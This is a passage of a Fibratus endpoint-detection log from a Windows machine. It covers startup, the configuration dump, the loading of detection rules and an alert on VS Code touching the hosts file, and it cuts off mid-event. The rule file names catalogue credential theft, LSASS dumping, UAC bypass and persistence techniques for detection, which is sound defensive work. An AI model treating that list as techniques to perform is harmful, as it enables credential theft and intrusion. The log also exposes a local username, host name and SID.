scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true excluded-files=>[] skip-registry=>false skip-allocs=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:40:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:40:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:45:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:45:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:45:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:45:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:45:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:45:49+01:00 level=info msg=bootstrapping with pid 16744. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:45:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] enabled=>false port=>25 use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true enable-net=>true enable-handle=>false buffer-size=>512 enable-registry=>true enable-mem=>false enable-audit-api=>true enable-threadpool=>false enable-thread=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-dns=>false min-buffers=>16 flush-interval=>1s stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 formatter=>text log-stdout=>true level=>info] + output ......................... [ amqp=>[ timeout=>5s enabled=>false exchange=>fibratus delivery-mode=>transient durable=>false url=>amqp://localhost:5672 passive=>false exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus] elasticsearch=>[ flush-period=>1s bulk-workers=>1 timeout=>5s healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck=>true template-name=>fibratus trace-log=>false gzip-compression=>false sniff=>false index-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enabled=>false tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false method=>POST timeout=>5s serializer=>json]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-files=>false scan-timeout=>10s fastscan=>true skip-allocs=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:45:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:45:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:50:12+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe accessed the hosts file for potential tampering + Event(s): + Seq: 4654565 + Pid: 1364 + Tid: 16888 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-09 18:49:39.1905531 +0100 CET + Params: cmdlineâžœ "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1748,i,7387998963603097639,11599257567599535580,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo, directory_table_baseâžœ 399a13000, domainâžœ ARCHRABBIT, exeâžœ C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe, exit_statusâžœ Success, flagsâžœ , kprocâžœ ffffc10b43bd5080, nameâžœ Code.exe, pidâžœ 17320, ppidâžœ 1364, real_ppidâžœ 1364, session_idâžœ 1, sidâžœ S-1-5-21-2271034452-2606270099-984871569-1001, start_timeâžœ 2025-12-09 18:49:39.1904107 +0100 CET, token_elevation_typeâžœ LIMITED, token_integrity_levelâžœ MEDIUM, token_is_elevatedâžœ false, usernameâžœ nedo + Metadata: rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 3756002342630064128 + + Pid: 1364 + Ppid: 7936 + Name: Code.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_1364_CLHRMWOWZWJQQGEF COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_7936_1262719628:1 EFC_7936_1592913036:1 EFC_7936_2283032206:1 EFC_7936_2775293581:1 EFC_7936_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\1e3c50d64110be466c0b4a45222e81d2c9352888 VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.106.2-main-sock VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:1364 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4667966 + Pid: 17320 + Tid: 16208 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-09 18:49:39.3488407 +0100 CET + Params: attributesâžœ , create_dispositionâžœ OPEN, create_optionsâžœ OPEN_REPARSE_POINT, file_objectâžœ ffffc10b6b9507b0, 